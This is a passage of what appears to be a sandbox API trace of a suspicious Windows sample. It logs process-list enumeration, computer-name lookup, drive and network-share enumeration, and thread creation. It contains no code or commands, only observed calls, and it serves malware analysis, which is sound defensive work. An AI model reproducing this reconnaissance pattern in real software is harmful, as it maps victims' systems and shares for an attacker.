th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.081] lstrlenW (lpString="svchost.exe") returned 11 [0130.081] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.082] lstrlenW (lpString="svchost.exe") returned 11 [0130.082] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.083] lstrlenW (lpString="svchost.exe") returned 11 [0130.083] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.084] lstrlenW (lpString="svchost.exe") returned 11 [0130.084] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.084] lstrlenW (lpString="svchost.exe") returned 11 [0130.084] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.085] lstrlenW (lpString="svchost.exe") returned 11 [0130.085] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0130.086] lstrlenW (lpString="spoolsv.exe") returned 11 [0130.086] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.087] lstrlenW (lpString="svchost.exe") returned 11 [0130.087] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.087] lstrlenW (lpString="svchost.exe") returned 11 [0130.087] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0130.088] lstrlenW (lpString="audiodg.exe") returned 11 [0130.088] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0130.089] lstrlenW (lpString="sihost.exe") returned 10 [0130.089] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.090] lstrlenW (lpString="svchost.exe") returned 11 [0130.090] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0130.091] lstrlenW (lpString="taskhostw.exe") returned 13 [0130.091] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0130.092] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0130.092] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0130.093] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0130.093] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0130.094] lstrlenW (lpString="explorer.exe") returned 12 [0130.094] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0130.095] lstrlenW (lpString="Memory Compression") returned 18 [0130.095] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0130.096] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0130.096] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0130.096] lstrlenW (lpString="SearchUI.exe") returned 12 [0130.096] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0130.098] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0130.098] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0130.099] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0130.099] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0130.100] lstrlenW (lpString="taskhostw.exe") returned 13 [0130.100] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0130.101] lstrlenW (lpString="UsoClient.exe") returned 13 [0130.101] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0130.102] lstrlenW (lpString="taskhostw.exe") returned 13 [0130.102] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0130.103] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0130.103] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0130.103] lstrlenW (lpString="msoia.exe") returned 9 [0130.103] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0130.104] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0130.104] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0130.105] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0130.105] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0130.106] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0130.106] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0130.107] lstrlenW (lpString="arc obviously.exe") returned 17 [0130.107] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0130.108] lstrlenW (lpString="scholars.exe") returned 12 [0130.108] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0130.109] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0130.109] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0130.110] lstrlenW (lpString="organizing.exe") returned 14 [0130.110] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0130.111] lstrlenW (lpString="campus.exe") returned 10 [0130.111] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0130.112] lstrlenW (lpString="mug.exe") returned 7 [0130.112] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0130.113] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0130.113] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0130.121] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0130.121] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0130.122] lstrlenW (lpString="powers mixture.exe") returned 18 [0130.122] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0130.123] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0130.123] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0130.124] lstrlenW (lpString="bachelor.exe") returned 12 [0130.124] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0130.125] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0130.125] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0130.126] lstrlenW (lpString="indication wage paying.exe") returned 26 [0130.126] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0130.127] lstrlenW (lpString="thee pub emission.exe") returned 21 [0130.128] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0130.129] lstrlenW (lpString="dllhost.exe") returned 11 [0130.129] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0130.130] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0130.130] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0130.131] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0130.131] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0130.132] lstrlenW (lpString="upgrading.exe") returned 13 [0130.133] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0130.134] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0130.134] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0130.135] lstrlenW (lpString="russell.exe") returned 11 [0130.135] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0130.136] lstrlenW (lpString="conhost.exe") returned 11 [0130.136] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0130.137] lstrlenW (lpString="conhost.exe") returned 11 [0130.137] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.138] lstrlenW (lpString="svchost.exe") returned 11 [0130.138] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0130.139] lstrlenW (lpString="1csrss.exe") returned 10 [0130.140] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0130.141] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0130.141] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0130.142] lstrlenW (lpString="conhost.exe") returned 11 [0130.142] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0130.150] lstrlenW (lpString="cmd.exe") returned 7 [0130.150] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0130.151] lstrlenW (lpString="conhost.exe") returned 11 [0130.151] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.153] lstrlenW (lpString="svchost.exe") returned 11 [0130.153] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0130.154] lstrlenW (lpString="sppsvc.exe") returned 10 [0130.154] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0130.155] lstrlenW (lpString="LogonUI.exe") returned 11 [0130.155] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0130.156] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0130.156] Process32NextW (in: hSnapshot=0x2c0, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0130.157] CloseHandle (hObject=0x2c0) returned 1 [0130.157] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0xcac [0100.851] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff [0100.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5408 | out: hHeap=0x5b0000) returned 1 Thread: id = 6 os_tid = 0xe0 [0100.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x63ca30 [0100.852] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63ca30, Size=0x20) returned 0x5ee9d0 [0100.852] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee9d0, Size=0x40) returned 0x5ca2b8 [0100.852] GetLogicalDrives () returned 0x4 [0100.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x62af78 [0100.852] GetComputerNameW (in: lpBuffer=0x62af7c, nSize=0x276ff64 | out: lpBuffer="NQDPDE", nSize=0x276ff64) returned 1 [0100.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x60daf0 [0100.852] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x276ff34 | out: lphEnum=0x276ff34*=0x5c5890) returned 0x0 [0100.852] WNetEnumResourceW (in: hEnum=0x5c5890, lpcCount=0x276ff30, lpBuffer=0x60daf0, lpBufferSize=0x276ff38 | out: lpcCount=0x276ff30, lpBuffer=0x60daf0, lpBufferSize=0x276ff38) returned 0x103 [0100.853] WNetCloseEnum (hEnum=0x5c5890) returned 0x0 [0100.853] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x276ff34 | out: lphEnum=0x276ff34*=0x4250e80) returned 0x0 [0109.659] WNetEnumResourceW (in: hEnum=0x4250e80, lpcCount=0x276ff30, lpBuffer=0x60daf0, lpBufferSize=0x276ff38 | out: lpcCount=0x276ff30, lpBuffer=0x60daf0, lpBufferSize=0x276ff38) returned 0x0 [0109.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3c52268 [0109.659] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x60daf0, lphEnum=0x276ff08 | out: lphEnum=0x276ff08*=0x5c5590) returned 0x0 [0109.661] WNetEnumResourceW (in: hEnum=0x5c5590, lpcCount=0x276ff04, lpBuffer=0x3c52268, lpBufferSize=0x276ff0c | out: lpcCount=0x276ff04, lpBuffer=0x3c52268, lpBufferSize=0x276ff0c) returned 0x103 [0109.661] WNetCloseEnum (hEnum=0x5c5590) returned 0x0 [0109.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3c51260 [0109.661] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x60db10, lphEnum=0x276ff08) Thread: id = 7 os_tid = 0x8f0 [0109.339] GetTickCount () returned 0x24750 [0109.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x60f240 [0109.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60f240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0109.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60f240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0109.340] 